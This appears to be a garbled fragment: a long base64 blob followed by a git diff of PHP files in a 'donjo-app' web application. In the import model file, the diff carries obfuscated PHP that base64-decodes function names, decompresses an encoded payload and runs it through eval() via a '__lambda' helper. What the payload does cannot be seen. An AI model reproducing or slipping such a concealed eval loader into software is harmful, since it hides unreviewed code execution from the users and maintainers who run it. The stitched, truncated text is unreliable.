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'; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/libraries/Log_Viewer.php b/donjo-app/libraries/Log_Viewer.php index 4decfca01..b5e12fead 100644 --- a/donjo-app/libraries/Log_Viewer.php +++ b/donjo-app/libraries/Log_Viewer.php @@ -350,7 +350,7 @@ private function processLogsForAPI($fileNameInBase64, bool $singleLine = false) * extract the log level from the logLine * * @param $logLineStart - The single line that is the start of log line. - * extracted by getLogLineStart() + * extracted by getLogLineStart() * * @return log level e.g. ERROR, DEBUG, INFO */ diff --git a/donjo-app/models/Analisis_import_model.php b/donjo-app/models/Analisis_import_model.php index 3fd7df9fd..56465a018 100644 --- a/donjo-app/models/Analisis_import_model.php +++ b/donjo-app/models/Analisis_import_model.php @@ -272,7 +272,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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